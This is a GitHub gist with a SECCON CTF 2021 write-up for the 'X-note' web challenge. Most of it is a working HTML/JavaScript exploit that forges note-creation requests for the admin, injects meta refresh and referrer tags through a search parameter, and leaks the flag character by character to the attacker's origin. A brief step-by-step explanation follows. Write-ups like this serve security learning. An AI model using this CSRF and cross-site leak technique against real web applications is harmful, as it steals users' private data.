Skip to content

Instantly share code, notes, and snippets.

@parrot409
Last active December 14, 2021 14:11
X-note writeup - SECCON CTF 2021
<html>
<head>
<title>rem rem rem</title>
</head>
<body>
<div id="atk">
</div>
<script>
// const TARGET = "http://localhost:8000"
const TARGET = "http://web:3000"
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789{}"
const exfil = document.location.origin
var flag = "SECCON{"
var w;
function sub(){
let r = ""
r+= `<input id="inp" name="note[toString]" value="1337">`
for(let i=0;i<alphabet.length;i++){
r+= `<input id="inp" name="note[f${i}]" value="${flag+alphabet[i]}">`
}
atk.innerHTML = `<form id="fo" action="${TARGET}/createNote" method="POST">${r}</form>`
inp.value = r
if(w && w.close){w.close()}
blob = new Blob([atk.outerHTML+"<script>fo.submit()<\/script>"], {type : 'text/html'});
w = window.open(URL.createObjectURL(blob))
}
function chk(idx){
w.location=`${TARGET}/?search=${flag+alphabet[idx]}&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=${document.location}%23exfil${idx}" />`
}
if(!document.location.hash.startsWith("#exfil")){
sub()
setTimeout(()=>{
chk(0)
},1000)
} else {
let flagFound = null
let r = null
if(document.referrer.indexOf("filteredNotes") > -1){
flagFound = false
r = parseInt(document.location.hash.slice(6))+1
} else {
flagFound = true
r = alphabet[parseInt(document.location.hash.slice(6))]
}
opener.postMessage({flagFound,r,oh:1})
}
window.onmessage = e=>{
if(e.data.oh){
if(!e.data.flagFound){
chk(e.data.r)
} else {
flag += e.data.r
console.log(flag)
if(flag.indexOf("}") == -1 ){
sub()
setTimeout(()=>{
chk(0)
},1000)
}
}
}
}
setInterval(()=>{
fetch(document.location.origin+"?a="+encodeURIComponent(flag))
},2000)
</script>
</body>
</html>

X-Note - 3 solves

To leak whether the first character of flag is 'A' or not:

  1. first we create the following note for admin ( csrf is possible for 2 minutes ):
{"toString":"A","f1":"SECCON{A","f2":"SECCON{B","SECCON{C",...}
  1. Then we open a window to ${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />
  2. The window will be redirected to ourhost with an error message in referrer.
  3. if there is NOT any "filteredNotes" in referrer ( error did not happen in search box ), then the first character of flag is 'A'.

Using this logic, we can leak the flag!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment